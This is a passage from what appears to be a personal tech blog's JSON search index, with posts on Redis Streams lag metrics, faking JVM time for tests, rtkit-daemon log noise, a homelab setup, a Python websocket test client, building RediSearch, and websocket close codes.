groupInfo.getLastDeliveredId(); // Get pending messages count PendingResult pendingInfo = stream.getPendingInfo(groupName); long pendingCount = pendingInfo.getTotal(); // Calculate lag // Calculate undelivered messages long undeliveredMessages = 0; if (!lastGeneratedId.equals(lastDeliveredId)) { // If last generated ID is different from last delivered ID, there are undelivered messages undeliveredMessages = calculateIdDifference(lastGeneratedId, lastDeliveredId); } if (undeliveredMessages \u0026lt; 0) { undeliveredMessages = 0; } List\u0026lt;Tag\u0026gt; undeliveredMessagesTag = new ArrayList\u0026lt;\u0026gt;(Collections.singleton(Tag.of(\u0026#34;type\u0026#34;, \u0026#34;undeliveredMessages\u0026#34;))); List\u0026lt;Tag\u0026gt; pendingMessages = new ArrayList\u0026lt;\u0026gt;(Collections.singleton(Tag.of(\u0026#34;type\u0026#34;, \u0026#34;pendingMessages\u0026#34;))); this.prometheusMetricWrapper.recordGaugeValue(streamName, undeliveredMessagesTag, undeliveredMessages); this.prometheusMetricWrapper.recordGaugeValue(streamName, pendingMessages, pendingCount); } private static long calculateIdDifference(StreamMessageId id1, StreamMessageId id2) { long timeDiff = id1.getId0() - id2.getId0(); long seqDiff = id1.getId1() - id2.getId1(); if (timeDiff == 0) { return seqDiff; } else { // This is an approximation. Actual difference might be slightly different return (timeDiff) + seqDiff; } } private static StreamMessageId parseStreamMessageId(String id) { String[] parts = id.split(\u0026#34;-\u0026#34;); if (parts.length != 2) { throw new IllegalArgumentException(\u0026#34;Invalid stream ID format: \u0026#34; + id); } return new StreamMessageId(Long.parseLong(parts[0]), Long.parseLong(parts[1])); } What about measuring reliable processing Lag We saw above that it is not possible to measure the redis streams lag (measured as count of mesasges) accurately if the rate of publish on the stream varies a lot.\nHow did we end up solving this?\nOne of the other ways of solving is to let publisher add the timestamp to the each of stream message. This way, when the message arrives at the consumer, you can calculate the difference and plot it as processing lag.\nConclusion In this article we saw how to monitor redis streams lag. Here is the final snapshot of the dashboard which came out as a result of this excercise.\n","permalink":"https://madhur.co.in/blog/2024/07/14/monitoring-redis-streams-lag-prometheus-grafana.html","summary":"\u003cp\u003eMonitoring Redis Streams lag in Prometheus and Grafana\u003c/p\u003e\n\u003cp\u003eIn this post, we will look at how we can measure redis streams lag from the application perspective.\u003c/p\u003e\n\u003cp\u003eWe would want to measure the lag and plot this in visual format using Prometheus in Grafana\u003c/p\u003e\n\u003ch3 id=\"assumptions\"\u003eAssumptions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eWe are going to assume that we have set of streams and set of consumer groups which are consuming from the stream. We are using consumer groups because we want high availability to consume via multiple nodes. We assume that each consumer within consumer groups are dynamic, for example if a consumer is running on a kubernetes node,  a node can be restarted, respawned.\u003c/p\u003e","title":"Monitoring Redis Streams lag in Prometheus and Grafana"},{"content":"Recently, we were doing automation testing for one of our backend services and encountered an unique scenario wherein we wanted to forward the time by 24 hrs because we had entities which were created on daily basis at certain time.\nTo automate these scenarios, we had to wait for 24 unless we did either of these things:\nSomehow create those entities every few minutes instead of every 24 hours - This would require making the implementation generic for both scenarios.\nFast forward the system time - Since we were running in containers and containers inherit the date time settings of host machine, we had to change the time of host machine. However, that means lot of other containers running in the same machine getting affected by these side effect.\nWe did not go with first option either, since there were lot of backend validations implemented and removing those validations means making the implementation susceptible to errors.\nWe looked through many solutions and finally arrived by using a library called faketime\nIn short,\nFakeTime uses a native Java agent to replace System.currentTimeMillis() implementation with the one you can control using system properties.\nGetting started with Faketime Faketime is implemented as a native agent and hence it needs to be built for every platform such as Linux, Mac OS x86, Mac M1 etc.\nFortunately, there exists maven modules for each of the architectures\n\u0026lt;!-- Windows 32bit --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;io.github.faketime-java\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;faketime-agent\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;0.8.0\u0026lt;/version\u0026gt; \u0026lt;classifier\u0026gt;windows32\u0026lt;/classifier\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- Windows 64bit --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;io.github.faketime-java\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;faketime-agent\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;0.8.0\u0026lt;/version\u0026gt; \u0026lt;classifier\u0026gt;windows64\u0026lt;/classifier\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- macOS 32bit --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;io.github.faketime-java\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;faketime-agent\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;0.8.0\u0026lt;/version\u0026gt; \u0026lt;classifier\u0026gt;mac32\u0026lt;/classifier\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- macOS 64bit --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;io.github.faketime-java\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;faketime-agent\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;0.8.0\u0026lt;/version\u0026gt; \u0026lt;classifier\u0026gt;mac64\u0026lt;/classifier\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- Linux 32bit --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;io.github.faketime-java\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;faketime-agent\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;0.8.0\u0026lt;/version\u0026gt; \u0026lt;classifier\u0026gt;linux32\u0026lt;/classifier\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- Linux 64bit --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;io.github.faketime-java\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;faketime-agent\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;0.8.0\u0026lt;/version\u0026gt; \u0026lt;classifier\u0026gt;linux64\u0026lt;/classifier\u0026gt; \u0026lt;/dependency\u0026gt; I have implemented a small github project to demonstrate faking the time using this library.\nHere is how you would run it\u0026hellip;\nRun using Maven mvn spring-boot:run -Dspring-boot.run.jvmArguments=\u0026#34;-agentpath:./src/main/resources/libfaketime -XX:+UnlockDiagnosticVMOptions -XX:DisableIntrinsic=_currentTimeMillis -XX:CompileCommand=quiet -XX:CompileCommand=exclude,java/lang/System.currentTimeMillis -XX:CompileCommand=exclude,jdk/internal/misc/VM.getNanoTimeAdjustment\u0026#34; Get current time curl --location \u0026#39;localhost:8080/time/getTime\u0026#39; { \u0026#34;localDateTime\u0026#34;: \u0026#34;2024-06-29T15:42:41.973356\u0026#34;, \u0026#34;timestamp\u0026#34;: 1719655961973, \u0026#34;instant\u0026#34;: \u0026#34;2024-06-29T10:12:41.973377Z\u0026#34;, \u0026#34;date\u0026#34;: \u0026#34;2024-06-29T10:12:41.973+00:00\u0026#34; } Set fake time curl --location --request POST \u0026#39;localhost:8080/time/setTime?dateTime=2024-08-01T00%3A00%3A00\u0026#39; Time set Get current time curl --location \u0026#39;localhost:8080/time/getTime\u0026#39; { \u0026#34;localDateTime\u0026#34;: \u0026#34;2024-08-01T00:00:35.085\u0026#34;, \u0026#34;timestamp\u0026#34;: 1722450635085, \u0026#34;instant\u0026#34;: \u0026#34;2024-07-31T18:30:35.085Z\u0026#34;, \u0026#34;date\u0026#34;: \u0026#34;2024-07-31T18:30:35.085+00:00\u0026#34; } Reset back to real time curl --location --request POST \u0026#39;localhost:8080/time/resetTime\u0026#39; ","permalink":"https://madhur.co.in/blog/2024/07/01/mocking-jvm-time.html","summary":"\u003cp\u003eRecently, we were doing automation testing for one of our backend services and encountered an unique scenario wherein we wanted to forward the time by 24 hrs because we had entities which were created on daily basis at certain time.\u003c/p\u003e\n\u003cp\u003eTo automate these scenarios, we had to wait for 24 unless we did either of these things:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSomehow create those entities every few minutes instead of every 24 hours - This would require making the implementation generic for both scenarios.\u003c/p\u003e","title":"Faking time in JVM Process"},{"content":"Recently I observed, Rtkit daemon has been flooding the Journalctl logs\nI frequently found logs such as below in the journalctl logs\nJun 13 22:51:50 madhur-b550mds3h rtkit-daemon[1922]: Supervising 2 threads of 1 processes of 1 users. Jun 13 22:51:50 madhur-b550mds3h rtkit-daemon[1922]: Supervising 2 threads of 1 processes of 1 users. Jun 13 22:51:50 madhur-b550mds3h rtkit-daemon[1922]: Supervising 2 threads of 1 processes of 1 users. Jun 13 22:51:50 madhur-b550mds3h rtkit-daemon[1922]: Supervising 2 threads of 1 processes of 1 users. ... Jun 12 23:48:39 madhur-b550mds3h rtkit-daemon[1942]: Failed to look up client: No such file or directory Jun 12 23:48:42 madhur-b550mds3h rtkit-daemon[1942]: Failed to look up client: No such file or directory Jun 12 23:48:44 madhur-b550mds3h rtkit-daemon[1942]: Failed to look up client: No such file or directory Not much aware about this daemon, however, it seems to be used by audio systems such as Pulseaudio and Pipewire\nFixing these logs is simple\nsystemctl edit rtkit-daemon Add the following lines\n[Service] LogLevelMax=warning And restart rtkit daemon using systemctl restart rtkit-daemon\n","permalink":"https://madhur.co.in/blog/2024/06/22/journalctl-rtkit-daemon.html","summary":"\u003cp\u003eRecently I observed, \u003ca href=\"https://github.com/heftig/rtkit\"\u003eRtkit daemon\u003c/a\u003e has been flooding the \u003ca href=\"https://www.freedesktop.org/software/systemd/man/latest/journalctl.html\"\u003eJournalctl\u003c/a\u003e logs\u003c/p\u003e\n\u003cp\u003eI frequently found logs such as below in the journalctl logs\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eJun 13 22:51:50 madhur-b550mds3h rtkit-daemon[1922]: Supervising 2 threads of 1 processes of 1 users.\nJun 13 22:51:50 madhur-b550mds3h rtkit-daemon[1922]: Supervising 2 threads of 1 processes of 1 users.\nJun 13 22:51:50 madhur-b550mds3h rtkit-daemon[1922]: Supervising 2 threads of 1 processes of 1 users.\nJun 13 22:51:50 madhur-b550mds3h rtkit-daemon[1922]: Supervising 2 threads of 1 processes of 1 users.\n...\nJun 12 23:48:39 madhur-b550mds3h rtkit-daemon[1942]: Failed to look up client: No such file or directory\nJun 12 23:48:42 madhur-b550mds3h rtkit-daemon[1942]: Failed to look up client: No such file or directory\nJun 12 23:48:44 madhur-b550mds3h rtkit-daemon[1942]: Failed to look up client: No such file or directory\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eNot much aware about this daemon, however, it seems to be used by audio systems such as \u003ca href=\"https://wiki.archlinux.org/title/PulseAudio\"\u003ePulseaudio\u003c/a\u003e and \u003ca href=\"https://wiki.archlinux.org/title/PipeWire\"\u003ePipewire\u003c/a\u003e\u003c/p\u003e","title":"Rtkit Daemon flooding journalctl logs"},{"content":"Continuing my Homelab journey using Proxmox, I have setup a full fledged home network with multiple services running.\nHere is the quick diagram below for reference:\nSome of the services I am running on my homenetwork as of now are\nJellyfin Commmafeed Prometheus Grafana Nginx Proxy Manager Snapdrop Uptime Kuma Change Detection qBittorrent Olivetin Vaultwarden ntfy Some of the things I am trying to solve:\nEasily able to VPN from outside to access my password manager, RSS feeds, media etc Get rid of PfSense, PfSense is good but I feel its overkill for my needs. Evaluate Tailscale, Wireguard and OpenVPN And finally,\nHaving less power bill while powering my Proxmox server 24x7 :) Stay tuned for further updates if you are interested.\n","permalink":"https://madhur.co.in/blog/2024/05/01/my-homelab-update-part1.html","summary":"\u003cp\u003e\u003ca href=\"/blog/2024/01/07/proxmox-user-friendly-urls.html\"\u003eContinuing my Homelab journey using Proxmox\u003c/a\u003e, I have setup a full fledged home network with multiple services running.\u003c/p\u003e\n\u003cp\u003eHere is the quick diagram below for reference:\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/Blog/homenetwork.png\"\u003e\u003c/p\u003e\n\u003cp\u003eSome of the services I am running on my homenetwork as of now are\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jellyfin/jellyfin\"\u003eJellyfin\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Athou/commafeed\"\u003eCommmafeed\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/prometheus\"\u003ePrometheus\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grafana/grafana\"\u003eGrafana\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NginxProxyManager/nginx-proxy-manager\"\u003eNginx Proxy Manager\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://snapdrop.net/\"\u003eSnapdrop\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/louislam/uptime-kuma\"\u003eUptime Kuma\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgtlmoon/changedetection.io\"\u003eChange Detection\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/qbittorrent/qBittorrent\"\u003eqBittorrent\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OliveTin/OliveTin\"\u003eOlivetin\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dani-garcia/vaultwarden\"\u003eVaultwarden\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/binwiederhier/ntfy\"\u003entfy\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSome of the things I am trying to solve:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eEasily able to VPN from outside to access my password manager, RSS feeds, media etc\u003c/li\u003e\n\u003cli\u003eGet rid of \u003ca href=\"https://www.pfsense.org/\"\u003ePfSense\u003c/a\u003e, PfSense is good but I feel its overkill for my needs.\u003c/li\u003e\n\u003cli\u003eEvaluate \u003ca href=\"https://tailscale.com/\"\u003eTailscale\u003c/a\u003e, \u003ca href=\"https://www.wireguard.com/\"\u003eWireguard\u003c/a\u003e and \u003ca href=\"https://openvpn.net/\"\u003eOpenVPN\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAnd finally,\u003c/p\u003e","title":"My Homelab Update - Part I"},{"content":"When interacting with lot of websockets server, you need a nifty client to test out the behaviour of websocket server.\nTill now, I have been using wscat as the command line utility to interact with websockets server.\nHowever, this command line utility has several disadvantages:\nIt doesn\u0026rsquo;t allow you to send custom ping messages It doesn\u0026rsquo;t support authentication Due to these limitations, I wrote a simple python script below which can send a custom ping payload.\nThis little script helps to quickly test out websocket servers.\nimport websocket import json session_id=\u0026#34;12345\u0026#34; ready_message = {\u0026#34;type\u0026#34;:\u0026#34;setup\u0026#34;,\u0026#34;sid\u0026#34;:session_id,\u0026#34;time\u0026#34;:1712393684026, \u0026#34;src\u0026#34;: \u0026#34;79677227\u0026#34;} ping_payload={\u0026#34;type\u0026#34;:\u0026#34;heartbeatreq\u0026#34;,\u0026#34;time\u0026#34;:1712393714042,\u0026#34;src\u0026#34;:\u0026#34;79677227\u0026#34;} def on_message(wsapp, message): print(\u0026#34;Received: \u0026#34;, message) def on_ping(wsapp, message): print(\u0026#34;Got a ping! A pong reply has already been automatically sent.\u0026#34;) def on_pong(wsapp, message): wsapp.send(message) def on_open(wsapp): print(\u0026#34;sending ready\u0026#34;) ready_msg = json.dumps(ready_message) + \u0026#34;\\n\u0026#34; wsapp.send(ready_msg) def on_error(wsapp, message): print(message) def on_close(wsapp, close_status_code, close_reason): print(\u0026#34;closed\u0026#34;, close_reason, close_status_code) wsapp = websocket.WebSocketApp(\u0026#34;ws://localhost:8080\u0026#34;, on_message=on_message, on_ping=on_ping, on_pong=on_pong, on_open=on_open, on_error=on_error, on_close=on_close) wsapp.run_forever(ping_interval=2, ping_timeout=1, ping_payload=json.dumps(ping_payload)+ \u0026#34;\\n\u0026#34;) ","permalink":"https://madhur.co.in/blog/2024/04/13/quick-websockets-client-python.html","summary":"\u003cp\u003eWhen interacting with lot of websockets server, you need a nifty client to test out the behaviour of websocket server.\u003c/p\u003e\n\u003cp\u003eTill now, I have been using \u003ca href=\"https://github.com/websockets/wscat\"\u003ewscat\u003c/a\u003e as the command line utility to interact with websockets server.\u003c/p\u003e\n\u003cp\u003eHowever, this command line utility has several disadvantages:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt doesn\u0026rsquo;t allow you to send custom ping messages\u003c/li\u003e\n\u003cli\u003eIt doesn\u0026rsquo;t support authentication\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eDue to these limitations, I wrote a simple python script below which can send a custom ping payload.\u003c/p\u003e","title":"Quick Websockets client in Python"},{"content":"RediSearch is a Redis module that provides querying, secondary indexing, and full-text search for Redis. To use RediSearch, you first declare indexes on your Redis data. You can then use the RediSearch query language to query that data.\nThere is a very good RediSearch getting started tutorial on github.\nThere are several steps in bulding RediSearch module. The following steps worked on Amazon Linux 2 machine for us:\nyum install git perl perl-DateTime perl-JSON perl-Capture-Tiny git clone https://github.com/RediSearch/RediSearch.git wget https://github.com/linux-test-project/lcov/releases/download/v2.0/lcov-2.0-1.noarch.rpm rpm -ivh /root/lcov-2.0-1.noarch.rpm cd RediSearch make setup make build At this point, the module should be built at the following location\n./RediSearch/bin/linux-x64-release/search/redisearch.so Copy it to /etc/redis\ncp /root/RediSearch/bin/linux-x64-release/search/redisearch.so /etc/redis/ The module can be activated in redis conf as follows:\nloadmodule /etc/redis/redisearch.so ","permalink":"https://madhur.co.in/blog/2024/03/08/building-redisearch-module.html","summary":"\u003cp\u003eRediSearch is a \u003ca href=\"https://redis.io/\"\u003eRedis\u003c/a\u003e module that provides querying, secondary indexing, and full-text search for Redis. To use RediSearch, you first declare indexes on your Redis data. You can then use the RediSearch query language to query that data.\u003c/p\u003e\n\u003cp\u003eThere is a very good \u003ca href=\"https://github.com/RediSearch/redisearch-getting-started\"\u003eRediSearch getting started\u003c/a\u003e tutorial on github.\u003c/p\u003e\n\u003cp\u003eThere are several steps in bulding RediSearch module. The following steps worked on Amazon Linux 2 machine for us:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eyum install git perl perl-DateTime perl-JSON perl-Capture-Tiny\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit clone https://github.com/RediSearch/RediSearch.git\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ewget https://github.com/linux-test-project/lcov/releases/download/v2.0/lcov-2.0-1.noarch.rpm\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003erpm -ivh /root/lcov-2.0-1.noarch.rpm\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003ecd\u003c/span\u003e RediSearch\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emake setup\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emake build\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAt this point, the module should be built at the following location\u003c/p\u003e","title":"Building RediSearch module in Amazon Linux 2"},{"content":"A table for reference Close code (uint16) Codename Internal Customizable Description 0 - 999 Yes No Unused 1000 CLOSE_NORMAL No No Successful operation / regular socket shutdown 1001 CLOSE_GOING_AWAY No No Client is leaving (browser tab closing) 1002 CLOSE_PROTOCOL_ERROR Yes No Endpoint received a malformed frame 1003 CLOSE_UNSUPPORTED Yes No Endpoint received an unsupported frame (e.g. binary-only endpoint received text frame) 1004 Yes No Reserved 1005 CLOSED_NO_STATUS Yes No Expected close status, received none 1006 CLOSE_ABNORMAL Yes No No close code frame has been receieved 1007 Unsupported payload Yes No Endpoint received inconsistent message (e.g. malformed UTF-8) 1008 Policy violation No No Generic code used for situations other than 1003 and 1009 1009 CLOSE_TOO_LARGE No No Endpoint won\u0026rsquo;t process large frame 1010 Mandatory extension No No Client wanted an extension which server did not negotiate 1011 Server error No No Internal server error while operating 1012 Service restart No No Server/service is restarting 1013 Try again later No No Temporary server condition forced blocking client\u0026rsquo;s request 1014 Bad gateway No No Server acting as gateway received an invalid response 1015 TLS handshake fail Yes No Transport Layer Security handshake failure 1016 - 1999 Yes No Reserved for later 2000 - 2999 Yes Yes Reserved for websocket extensions 3000 - 3999 No Yes Registered first come first serve at IANA 4000 - 4999 No Yes Available for applications ","permalink":"https://madhur.co.in/blog/2024/02/11/websocket-close-status-codes.html","summary":"\u003ch3 id=\"a-table-for-reference\"\u003eA table for reference\u003c/h3\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003eClose code (uint16)\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eCodename\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eInternal\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eCustomizable\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eDescription\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e0 - 999\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eUnused\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ccode\u003eCLOSE_NORMAL\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eSuccessful operation / regular socket shutdown\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1001\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ccode\u003eCLOSE_GOING_AWAY\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eClient is leaving (browser tab closing)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1002\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ccode\u003eCLOSE_PROTOCOL_ERROR\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eEndpoint received a malformed frame\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1003\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ccode\u003eCLOSE_UNSUPPORTED\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eEndpoint received an unsupported frame (e.g. binary-only endpoint received text frame)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1004\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eReserved\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1005\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ccode\u003eCLOSED_NO_STATUS\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eExpected close status, received none\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1006\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ccode\u003eCLOSE_ABNORMAL\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo close code frame has been receieved\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1007\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cem\u003eUnsupported payload\u003c/em\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eEndpoint received inconsistent message (e.g. malformed UTF-8)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1008\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cem\u003ePolicy violation\u003c/em\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eGeneric code used for situations other than 1003 and 1009\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1009\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ccode\u003eCLOSE_TOO_LARGE\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eEndpoint won\u0026rsquo;t process large frame\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1010\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cem\u003eMandatory extension\u003c/em\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eClient wanted an extension which server did not negotiate\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1011\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cem\u003eServer error\u003c/em\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eInternal server error while operating\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1012\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cem\u003eService restart\u003c/em\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eServer/service is restarting\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1013\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cem\u003eTry again later\u003c/em\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eTemporary server condition forced blocking client\u0026rsquo;s request\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1014\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cem\u003eBad gateway\u003c/em\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eServer acting as gateway received an invalid 